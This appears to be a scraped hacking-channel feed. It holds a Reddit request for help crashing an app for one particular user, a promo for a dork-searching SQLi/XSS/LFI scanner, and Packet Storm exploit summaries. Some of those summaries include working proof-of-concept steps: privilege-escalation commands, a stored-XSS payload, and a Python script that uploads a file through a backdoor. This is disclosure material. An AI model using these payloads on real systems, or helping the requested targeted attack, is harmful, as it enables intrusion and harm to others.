hacking: security in practice
DoS attack?

Can someone teach me how to perform it on an account of an application making the app crash for that certain user?

submitted by /u/Mr-Invincible3
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

APSoft-Web-Scanner-v2 - Powerful Dork Searcher And Vulnerability Scanner For Windows Platform

APSoft Webscanner Version 2 new version of APSoft Webscanner Version 1Software pictures What can i do with this ? with this software, you will be able to search your dorks in supported search engines and scan grabbed urls to find their vulnerabilities. in addition , you will be able to generate dorks, scan urls and saerch dorks separately when ever you want Supported search engines Google Yahoo Bing Supported vulnerabilities SQL Injection XSS LFI Whats new in version 2 (most important updates) ? adding custom payloads you can edit payloads.json file which will be created when you open and close software once, and add payloads as much as you want , easier than drinking water adding custom error checks once a payload injected in url, software will looks for errors in new website source, you can also customize those errors too. what you have to do is easily edit payloadserror.json file which will be created when you open and close software once. you can also use regexes as error , with REIT|your regex here format multy vulnerability check in old version, you were not able to choose more than 1 vulnerabilites to check, but in v2, you can do this easily. multy search engine grabber in old version, you were not able to choose more than 1 saerchengines to saerch in, but in v2, you can do this easily. memory management we`ve added memory management to avoid lack of memory in your system dork generator you can generate dorks and save them very fast with your custom configurations and keywords. valid configuration format should contain {DORK} that will be replaced with each keyword in dork generation process updates list (all) new threading system based on microsoft task using linq technology dork generator part ability to add regexes as payloads error low usage moving from WPF to Windows form (just because my designes are bad, contact me if you can do better) ability to use scanner-graber separately and simultaneously and .... support / suggestion = ph09nixom@gmail.com - t.me/ph09nix Leave a STAR if you found this usefull :) Download APSoft-Web-Scanner-v2
Read more...

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Windows Container Manager Service CmsRpcSrv_MapVirtualDiskToContainer Privilege Escalation

https://3.bp.blogspot.com/-sRAbWielMtM/WWlvVvmDA-I/AAAAAAAAIN8/PunzJUFKKskcHl_zTOrA6xP6ETTvhbejQCLcBGAs/s1600/h46.png
The Container Manager Service does not impersonate the caller when granting access to virtual disk images leading to privilege escalation.

MD5 | ae8247dda745d9d8d6c85bfb03878028

Download
Source:packetstormsecurity.com

Exploit Collector
Android NFC nfa_rw_sys_disable Type Confusion

https://4.bp.blogspot.com/-SxgEc7szt9w/WWlva1nZfUI/AAAAAAAAIPE/UrvwYC_4YmMlGypxS9ASHy318XWSifzEQCLcBGAs/s1600/h71.png
Android NFC suffers from a type confusion vulnerability in nfa_rw_sys_disable.

MD5 | c8afe4ec5b084a950377d0e1557801f8

Download
Source:packetstormsecurity.com

Exploit Collector
Odoo 12.0.20190101 Unquoted Service Path

https://1.bp.blogspot.com/-93ZP4TpCwBw/WWlu7wGG0SI/AAAAAAAAIJg/yDCONAkAMz8MX1TtbGL6KFo1njFu_UyvACLcBGAs/s1600/h111.png
Odoo version 12.0.20190101 suffers from an unquoted service path vulnerability.

MD5 | 2818299cf76dd1bf13481c862d845df4

Download
# Exploit Title: Odoo 12.0.20190101 - 'nssm.exe' Unquoted Service Path
# Exploit Author: 1F98D
# Vendor Homepage: https://www.odoo.com/
# Software Link: https://nightly.odoo.com/12.0/nightly/windows/odoo_12.0.20190101.exe
# Tested Version: 12.0.20190101
# Tested on OS: Windows
# Step to discover Unquoted Service Path:

C:\> icacls "C:\Program Files (x86)\Odoo 12.0\nssm"

C:\Program Files (x86)\Odoo 12.0\nssm pc-1\user-1:(OI)(CI)(M)
NT SERVICE\TrustedInstaller:(I)(F)
NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(RX)
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Windows Container Manager Service Arbitrary Object Directory Creation Privilege Escalation

https://1.bp.blogspot.com/-q1b99IBpI9c/WWlu5sPD0hI/AAAAAAAAIJI/No13BTu40mUIIhRH8r1ULckiDMJCd7zkQCLcBGAs/s1600/h106.png
The Container Manager Service creates an AppContainer process without impersonating the access token leading to privilege escalation.

MD5 | ad4654c8ed7054c3225224811ba94b15

Download
Source:packetstormsecurity.com

Exploit Collector
Splinterware System Scheduler Professional 5.30 Unquoted Service Path

https://4.bp.blogspot.com/-9fc43SI8K3Q/WWlvhaBflZI/AAAAAAAAIQU/x3qxae6Q3eMl1Wf8m-XtOKQ3MaKSPPWfQCLcBGAs/s1600/h90.png
Splinterware System Scheduler Professional version 5.30 suffers an unquoted service path vulnerability.

MD5 | 8f6dbe88705c0cb72b7fc1c5e9131baf

Download
# Exploit Title: Splinterware System Scheduler Professional 5.30 - Unquoted Service Path
# Date: 2021-05-11
# Exploit Author: Andrea Intilangelo
# Vendor Homepage: https://www.splinterware.com
# Software Link: https://www.splinterware.com/download/ssproeval.exe
# Version: 5.30 Professional
# Tested on: Windows 10 Pro 20H2 x64

System Scheduler Professional 5.30 is subject to privilege escalation due to insecure file permissions, impacting
where the service 'WindowsScheduler' calls its executable. A non-privileged user could execute arbitrary code with
elevated privileges (system level privileges as "nt authority\system") since the service runs as Local System;
renaming the WService.exe file located in the software's path and replacing it with a malicious file, the new one
will be executed after a short while.

C:\Users\test>sc qc WindowsScheduler
[SC] QueryServiceConfig OPERAZIONI RIUSCITE

NOME_SERVIZIO: WindowsScheduler
TIPO : 10 WIN32_OWN_PROCESS
TIPO_AVVIO : 2 AUTO_START
CONTROLLO_ERRORE : 0 IGNORE
NOME_PERCORSO_BINARIO : C:\PROGRA~2\SYSTEM~1\WService.exe
GRUPPO_ORDINE_CARICAMENTO :
TAG : 0
NOME_VISUALIZZATO : System Scheduler Service
DIPENDENZE :
SERVICE_START_NAME : LocalSystem

C:\Users\test>icacls C:\PROGRA~2\SYSTEM~1\
C:\PROGRA~2\SYSTEM~1\ BUILTIN\Users:(RX,W)
BUILTIN\Users:(OI)(CI)(IO)(GR,GW,GE)
NT SERVICE\TrustedInstaller:(I)(F)
NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(RX)
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
AUTORITÀ PACCHETTI APPLICAZIONI\TUTTI I PACCHETTI APPLICAZIONI:(I)(RX)
AUTORITÀ PACCHETTI APPLICAZIONI\TUTTI I PACCHETTI APPLICAZIONI:(I)(OI)(CI)(IO)(GR,GE)
AUTORITÀ PACCHETTI APPLICAZIONI\TUTTI I PACCHETTI APPLICAZIONI CON RESTRIZIONI:(I)(RX)
AUTORITÀ PACCHETTI APPLICAZIONI\TUTTI I PACCHETTI APPLICAZIONI CON RESTRIZIONI:(I)(OI)(CI)(IO)(GR,GE)

Elaborazione completata per 1 file. Elaborazione non riuscita per 0 file

C:\Users\test>


Source:packetstormsecurity.com

Exploit Collector
Chevereto 3.17.1 Cross Site Scripting

https://2.bp.blogspot.com/-ulQQD3v8DYI/WWlvnLww_dI/AAAAAAAAIRM/ialO7Idq8vAmWKoyuXUdK7x44tFKJsnBwCLcBGAs/s1600/hack_img4.png
Chevereto version 3.17.1 suffers from a persistent cross site scripting vulnerability.

MD5 | d2fa311cc91e61a5447460593e31993d

Download
# Exploit Title: Chevereto 3.17.1 - Cross Site Scripting (Stored)
# Google Dork: "powered by chevereto"
# Date: 19.04.2021
# Exploit Author: Akıner Kısa
# Vendor Homepage: https://chevereto.com/
# Software Link: https://chevereto.com/releases
# Version: 3.17.1
# Tested on: Windows 10 / Xampp

Proof of Concept:

1. Press the Upload image button and upload any image.
2. After uploading the image, press the pencil icon on the top right of the image and write "><svg instead of the title.
3. Upload the picture and go to the picture address.


Source:packetstormsecurity.com

Exploit Collector
Windows Container Manager Service CmsRpcSrv_CreateContainer Privilege Escalation

https://1.bp.blogspot.com/-jW_VWiRlkJ4/WWlvh6QcNII/AAAAAAAAIQg/x12g-flM0hAb9z-fRCiW9Z3UAYaaFuf7ACLcBGAs/s1600/h9.png
The Container Manager Service accepts an access token provided by the user without verification allowing an arbitrary process to be created with another user identity leading to privilege escalation.

MD5 | 12c1abb8e71fc62e306c9bc1dea254d3

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Windows Container Manager Service CmsRpcSrv_MapNamedPipeToContainer Privilege Escalation

https://4.bp.blogspot.com/-VWb4EvQ6bEo/WWlvWDArLMI/AAAAAAAAIOE/2pUCVP0uaRIPq11CtWtknt0n-yL_qFw9wCLcBGAs/s1600/h48.png
The Container Manager Service does not configure STORVSP correctly when opening mapped named pipes leading to privilege escalation.

MD5 | 970b0826e9c53e62fb981f362a8095f7

Download
Source:packetstormsecurity.com

Exploit Collector
Backdoor.Win32.Delf.zho Authentication Bypass / Code Execution

https://4.bp.blogspot.com/-khon6dqGLkI/WWlvkVAr7qI/AAAAAAAAIQw/JwPgE9u6PkcV9AqklLFI3rOjfEX9YXC4QCLcBGAs/s1600/h96.png
Backdoor.Win32.Delf.zho malware suffers from bypass and code execution vulnerabilities.

MD5 | 487f9e14ba262dfab66e64b94678938b

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/6b9f5a0512af3ab33c26eaa4bdf94f1f.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Delf.zho
Vulnerability: Authentication Bypass RCE
Description: The malware listens on TCP port 21 and TCP ports 14920 to 14923. Third-party attackers who can reach the system can logon using any username/password combination. Attackers may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Type: PE32
MD5: 6b9f5a0512af3ab33c26eaa4bdf94f1f
Vuln ID: MVID-2021-0205
Disclosure: 05/11/2021

Exploit/PoC:
nc64.exe 192.168.18.127 21
220 ICS FTP Server ready.
USER mal
331 Password required for mal.
PASS vuln
230 User mal logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
CDUP
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,127,198,78).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok
from socket import *

MALWARE_HOST="192.168.18.127"
#Calculate port 198*256 + 78 = 50766
PORT=50766
DOOM="DOOM.exe"

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)

while EXE:
s.send(EXE)
EXE=f.read()

s.close()

print("Backdoor.Win32.Delf.zho / Authentication Bypass RCE")
print("MD5: 6b9f5a0512af3ab33c26eaa4bdf94f1f")
print("By Malvuln");

if __name__=="__main__":
doit()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com